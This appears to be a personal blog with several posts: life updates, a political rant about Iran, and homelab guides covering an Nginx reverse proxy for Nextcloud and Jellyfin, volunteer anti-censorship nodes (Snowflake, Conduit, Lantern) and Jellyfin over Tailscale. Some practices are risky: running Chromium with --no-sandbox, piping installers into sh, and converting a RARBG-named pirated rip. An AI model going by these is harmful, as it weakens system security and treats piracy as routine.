Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

H3ll0 Fr1end

Sat, 02 May 2026 16:17:02 +0000

Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

Mon, 02 Feb 2026 00:00:00 +0000

I didn’t “move Nextcloud to the cloud”.
I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

This post documents the setup I ended up with:

A public VPS (host: funbox) running Nginx + Let’s Encrypt
A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
A private backhaul using Tailscale (the 100.x.y.z network)
A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
(in addition to Jellyfin’s own login)

I’m writing this as a “future me” note and a “copy-paste friendly” guide.

0) Topology

The request path looks like:

Browser
  ↓ HTTPS (public)
Cloudflare DNS (optional proxy on/off)
  ↓
VPS (funbox) — Nginx reverse proxy + Let's Encrypt
  ↓ HTTP over Tailscale (private 100.x network)
Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …

Why I like it:

The Pi can sit behind home router / CGNAT and still be reachable.
TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
Internal IPs can change without breaking public URLs.

1) What’s running on the Pi?

On iot-hub the “interesting” containers are:

nextcloud (Apache variant)
nextcloud-db (Postgres)
nextcloud-redis
jellyfin

Example docker ps style output (yours may vary):

nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp

So on the Pi, the services listen on:

http://:8080 for Nextcloud
http://:8096 for Jellyfin

But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

2) Tailscale: the private wire between VPS and Pi

Tailscale assigns each node an address like 100.xx.yy.zz.

In my config, Nginx on funbox points to the Pi via Tailscale:

Nextcloud upstream: http://100.104.127.96:8080
Jellyfin upstream: http://100.104.127.96:8096

(Use the Tailscale IP of your Pi.)

Quick sanity checks from the VPS:

# from funbox, make sure you can reach the Pi service:
curl -I http://100.104.127.96:8080
curl -I http://100.104.127.96:8096

If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

3) Nginx on the VPS: reverse proxy blocks

3.1 Nextcloud vhost (VPS → Pi via Tailscale)

Create (or edit):

/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

and symlink into sites-enabled.

Here is a complete working example:

# Redirect HTTP → HTTPS
server {
    listen 80;
    listen [::]:80;
    server_name nextcloud.alipourimjourneys.ir;

    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name nextcloud.alipourimjourneys.ir;

    # Certbot-managed certs
    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    include             /etc/letsencrypt/options-ssl-nginx.conf;
    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;

    # Big uploads (tune to taste)
    client_max_body_size 2G;

    # CalDAV/CardDAV redirects
    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }

    location / {
        proxy_pass http://100.104.127.96:8080;

        proxy_http_version 1.1;

        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # Sometimes helps apps behind multiple proxies
        proxy_set_header X-Forwarded-Host  $host;
        proxy_set_header X-Forwarded-Port  $server_port;

        # Nextcloud + WebDAV can do long requests
        proxy_read_timeout 3600;
        proxy_send_timeout 3600;

        # Usually good for DAV/uploads
        proxy_buffering off;
        proxy_request_buffering off;
    }
}

Then test + reload:

sudo nginx -t
sudo systemctl reload nginx

3.2 Jellyfin vhost (with Basic Auth)

Create:

/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

Example:

server {
    listen 80;
    listen [::]:80;
    server_name jellyfin.alipourimjourneys.ir;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name jellyfin.alipourimjourneys.ir;

    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    include             /etc/letsencrypt/options-ssl-nginx.conf;
    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;

    client_max_body_size 512M;

    # ✅ Basic Auth gate (extra layer before Jellyfin)
    auth_basic "Jellyfin (private)";
    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;

    location / {
        proxy_pass http://100.104.127.96:8096;
        proxy_http_version 1.1;

        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # Jellyfin uses websockets
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";

        proxy_read_timeout 3600;
        proxy_send_timeout 3600;

        proxy_buffering off;
    }
}

Enable:

sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx

4) Creating the Basic Auth password file

Install tools (Debian/Ubuntu):

sudo apt-get update
sudo apt-get install -y apache2-utils

Create the password file:

sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername

(If adding more users later, omit -c.)

Lock it down:

sudo chown root:root /etc/nginx/.htpasswd-jellyfin
sudo chmod 640 /etc/nginx/.htpasswd-jellyfin

Notes on clients

Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
Some TV apps can be quirky. If a client can’t handle it, you can:
- remove Basic Auth, or
- keep it only on selected paths, or
- use Cloudflare Access in front of Jellyfin instead (more work).

5) Nextcloud: configure it to behave behind the reverse proxy

Nextcloud needs to know:

what hostnames are valid,
which proxy is trusted,
and what the “outside” URL scheme is.

You can do it via occ inside the container (Apache image uses www-data).

5.1 trusted_domains

Check current values:

docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains

Add your public domain:

docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"

(Keep your internal name too if you still use it, e.g. rpi:8080.)

5.2 trusted_proxies

Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

Example:

docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"

(Use the VPS’s Tailscale IP as seen from the Pi.)

5.3 overwritehost / overwriteprotocol / overwrite.cli.url

Tell Nextcloud “the world sees me as https://nextcloud.example”:

docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"

5.4 forwarded_for_headers (optional, but often helpful)

docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"

Restart Nextcloud container after config:

docker restart nextcloud

6) Sanity checks (curl is your friend)

From anywhere public:

curl -I http://nextcloud.alipourimjourneys.ir
curl -I https://nextcloud.alipourimjourneys.ir
curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav

Expected “good signs”:

HTTP returns 301 to HTTPS
HTTPS returns 302 to /login (or 200 if already authenticated)
/.well-known/caldav returns 301 to /remote.php/dav/

If you see redirect loops or wrong hostnames:

revisit overwritehost, overwriteprotocol, trusted_proxies.

7) “Do I really need Cloudflare Access / WARP?”

The honest answer

If your setup is:

HTTPS only
strong passwords + MFA in Nextcloud/Jellyfin
your origin isn’t directly exposed (only the VPS is public)
you keep things patched

…then you’re already in a reasonable place.

“Can I skip Cloudflare Access?”

Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

Public: VPS + Nginx
Private: Pi over Tailscale

For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

8) Cloudflare Access: One-time PIN not arriving + passkeys

Two common gotchas:

8.1 One-time PIN email didn’t arrive

That flow relies on email delivery. Check:

spam/junk folder
if your provider blocked it
the exact email allowlist in your policy

If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

8.2 Can I use passkeys / Apple / Google?

Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. Practical approach:

pick what your family already uses (Google or Apple),
configure that as the login method,
avoid WARP enrollment unless you specifically want device-based access.

9) Hardening checklist (tiny but effective)

On the VPS:

Keep Ubuntu security updates on
firewall: allow only what you need (22/80/443)
optional: fail2ban for SSH

On the Pi:

keep Docker images updated
Postgres/Redis not exposed publicly (Docker internal network)
backups: Nextcloud data + DB

10) TL;DR

VPS Nginx terminates TLS, proxies to Pi over Tailscale
Nextcloud must be told about:
- trusted_domains
- trusted_proxies
- overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
curl -I should show sane redirects + /remote.php/dav/
Jellyfin gets an extra gate with Nginx Basic Auth

Boring is good. Boring runs for months.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Blackout

Mon, 26 Jan 2026 07:21:51 +0000

Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

So I turned my Pis into helpers.

This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

Psiphon Conduit – to help Psiphon users automatically
Tor Snowflake (standalone proxy) – to help Tor users automatically
Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever

Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.

The philosophy: don’t be a public server, be a volunteer node

A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.

What you need (one time)

This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

First, install Docker (because containers are a gift):

sudo apt update
sudo apt install -y curl
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker $USER
newgrp docker

Now make yourself a clean playground under /srv:

sudo mkdir -p /srv/{conduit,snowflake,lantern}
sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}

I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.

Conduit: quietly helping Psiphon users (Docker)

Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

The file: `/srv/conduit/docker-compose.yml`

Create it:

cd /srv/conduit
vim docker-compose.yml

Paste this:

services:
  conduit:
    image: ghcr.io/ssmirr/conduit/conduit:latest
    container_name: conduit
    restart: unless-stopped

    # Keep keys and state across restarts
    volumes:
      - ./data:/app/data

    # Optional: if you want a different bandwidth limit / max clients,
    # you can pass CLI flags here (these are examples).
    # command: ["conduit", "start", "-b", "4", "-c", "8"]

Then bring it up:

docker compose up -d
docker logs -f conduit

When it’s working, you’ll see things like:

[OK] Connected to Psiphon network
periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)

If you ever want to stop it:

docker stop conduit

Or “disable but keep everything” (recommended):

docker compose down

Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

docker rm -f conduit

Snowflake: Tor, but even quieter (Docker Compose)

Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

The file: `/srv/snowflake/docker-compose.yml`

You can download the official file exactly like this:

cd /srv/snowflake
wget -O docker-compose.yml \
  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"

If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

services:
  snowflake-proxy:
    network_mode: host
    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
    container_name: snowflake-proxy
    restart: unless-stopped

    # For a full list of Snowflake proxy args, see the upstream docs.
    # Example if you ever need it:
    # command: ["-ephemeral-ports-range", "30000:60000"]

  watchtower:
    image: containrrr/watchtower
    container_name: watchtower
    restart: unless-stopped
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    command: snowflake-proxy

Start it (with auto updates):

docker compose up -d
docker logs -f snowflake-proxy

If you see:

Proxy starting
NAT type: restricted

…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

docker rm -f snowflake-proxy
docker compose up -d

Lantern Unbounded: a browser that helps people (systemd + Xvfb)

Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

So we cheat — politely.

We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

Install what we need

sudo apt update
sudo apt install -y xvfb
sudo apt install -y chromium-browser || sudo apt install -y chromium

Fix the X11 socket dir permissions (the annoying but essential part)

If you don’t do this, Xvfb may throw:

_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

Fix it once:

sudo chmod 1777 /tmp
sudo mkdir -p /tmp/.X11-unix
sudo chown root:root /tmp/.X11-unix
sudo chmod 1777 /tmp/.X11-unix

The file: `/etc/systemd/system/unbounded.service`

Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

Create the service:

sudo vim /etc/systemd/system/unbounded.service

Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

[Unit]
Description=Lantern Unbounded (Xvfb + Chromium)
After=network-online.target
Wants=network-online.target

[Service]
User=YOUR_USER
Environment=DISPLAY=:99
Environment=XDG_RUNTIME_DIR=/run/user/%U

ExecStart=/usr/bin/bash -lc '\
  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
  sleep 1; \
  $(command -v chromium || command -v chromium-browser) \
    --no-first-run \
    --disable-breakpad \
    --disable-features=TranslateUI \
    --autoplay-policy=no-user-gesture-required \
    --use-fake-ui-for-media-stream \
    --disable-gpu \
    --no-sandbox \
    --app=https://unbounded.lantern.io/ \
    --kiosk \
    --window-size=1280,720 \
    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
'

Restart=always
RestartSec=5
KillMode=mixed

[Install]
WantedBy=multi-user.target

Enable and start:

sudo systemctl daemon-reload
sudo systemctl enable --now unbounded.service
systemctl status unbounded.service --no-pager

If you see Active: active (running), you’ve won.

“It runs headless-ish, but how do I know it’s alive?”

The simplest “is it on?” checks:

systemctl status unbounded.service --no-pager
journalctl -u unbounded.service -f

And the “is it actually doing network things?” check:

sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true

If you ever want to stop it:

sudo systemctl stop unbounded.service

If you want it not to start on boot:

sudo systemctl disable unbounded.service

A note on safety, legality, and expectations

None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

That’s the part I like.

The quiet satisfaction of it all

There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

And honestly? That’s enough.

Some rants

I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

2025 Highlight

Mon, 05 Jan 2026 18:53:54 +0000

I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Seeing the "Light"

Thu, 25 Dec 2025 11:26:04 +0000

I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

As time goes by, and as I become more experienced, I feel more relieved.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

Sun, 21 Dec 2025 09:30:00 +0100

Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

The idea

Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

What you need

My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

Step one: choose a home for your stuff

Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

On the Pi, I created a little directory neighborhood under /srv:

sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
sudo chown -R $USER:$USER /srv

If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

Step two: install Docker and start thinking in containers

I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

A typical install flow on Raspberry Pi OS looks like this:

sudo apt update
sudo apt install -y ca-certificates curl
curl -fsSL https://get.docker.com | sh
sudo usermod -aG docker $USER
newgrp docker
docker --version
docker compose version

Now for the part that feels like summoning a friendly daemon.

Step three: Jellyfin, running happily in Docker

In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

Here’s a simple docker-compose.yml that works well on a Pi:

services:
  jellyfin:
    image: jellyfin/jellyfin:latest
    container_name: jellyfin
    user: "1000:1000"
    ports:
      - "8096:8096/tcp"
      - "7359:7359/udp"
    volumes:
      - /srv/jellyfin/config:/config
      - /srv/jellyfin/cache:/cache
      - /srv/media:/media
    restart: unless-stopped

If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

I started Jellyfin like this:

cd /srv/compose/jellyfin
docker compose up -d

After that, Jellyfin lived at http://:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

Step four: Tailscale, the magic door for friends

Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
tailscale ip -4

That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

http://100.x.y.z:8096

Or if you enabled magicDNS:

http://rpi:8096

The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

Step five: create a Jellyfin user for your friend

Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

Step six: the secret to a smooth Pi movie night is Direct Play

A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"

Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"

Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

Step seven: SyncPlay, aka “we pressed play together”

